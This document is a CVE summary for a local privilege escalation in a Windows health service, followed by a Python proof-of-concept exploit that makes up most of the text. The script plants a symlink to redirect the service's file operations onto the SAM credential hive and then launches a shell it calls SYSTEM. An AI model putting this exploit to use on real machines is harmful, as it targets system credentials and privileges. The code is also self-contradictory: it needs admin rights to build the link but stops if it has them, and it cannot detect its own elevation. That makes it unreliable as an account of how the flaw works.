Improper link resolution before file access ('link following') in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
# CVE-2025-59241 - Windows Health and Optimized Experiences Service
# Privilege Escalation via Link Following (CWE-59)
# Note: This is a conceptual PoC based on the vulnerability description.
# Actual exploitation requires specific knowledge of the service's file operations.
import os
import sys
import ctypes
import time
import threading
from pathlib import Path
# Check if running with admin privileges
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
TARGET_SERVICE = "HealthOptimizedExperiences"
# The service operates on files in its working directory or temp paths
# Attacker creates a symlink to redirect the service's file operation
LINK_DIR = r"C:\ProgramData\Microsoft\HealthOpt"
TARGET_FILE = r"C:\Windows\System32\config\SAM"
MALICIOUS_LINK = os.path.join(LINK_DIR, "service_data.tmp")
def create_symbolic_link(link_path, target_path):
"""Create a symbolic link (requires developer mode or admin)"""
if is_admin():
# Use mklink command via subprocess
import subprocess
cmd = f'mklink "{link_path}" "{target_path}"'
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.returncode == 0
else:
# Attempt junction point creation (works without admin for directories)
print("[-] Symbolic link creation requires elevated privileges")
return False
def exploit_link_following():
"""
Exploit link following vulnerability in Windows Health and Optimized
Experiences Service to escalate privileges.
"""
print(f"[*] CVE-2025-59241 Exploit PoC")
print(f"[*] Target Service: {TARGET_SERVICE}")
if is_admin():
print("[+] Already running with admin privileges")
return
# Step 1: Create target directory if not exists
os.makedirs(LINK_DIR, exist_ok=True)
print(f"[*] Created/verified directory: {LINK_DIR}")
# Step 2: Create symbolic link to redirect service file operations
print(f"[*] Creating symbolic link: {MALICIOUS_LINK} -> {TARGET_FILE}")
if create_symbolic_link(MALICIOUS_LINK, TARGET_FILE):
print("[+] Symbolic link created successfully")
else:
print("[-] Failed to create symbolic link")
return
# Step 3: Trigger the service to perform file operation
# The service periodically performs health checks and writes logs
print("[*] Waiting for service to trigger file operation...")
print("[*] This may require service restart or system event trigger")
# Step 4: Monitor for privilege escalation
print("[*] Monitoring for successful exploitation...")
time.sleep(30) # Wait for service to perform operation
if is_admin():
print("[+] PRIVILEGE ESCALATION SUCCESSFUL!")
print("[+] Executing payload as SYSTEM...")
os.system("cmd.exe")
else:
print("[-] Exploitation may have failed or requires additional steps")
if __name__ == "__main__":
if sys.platform != "win32":
print("[-] This exploit only works on Windows")
sys.exit(1)
exploit_link_following()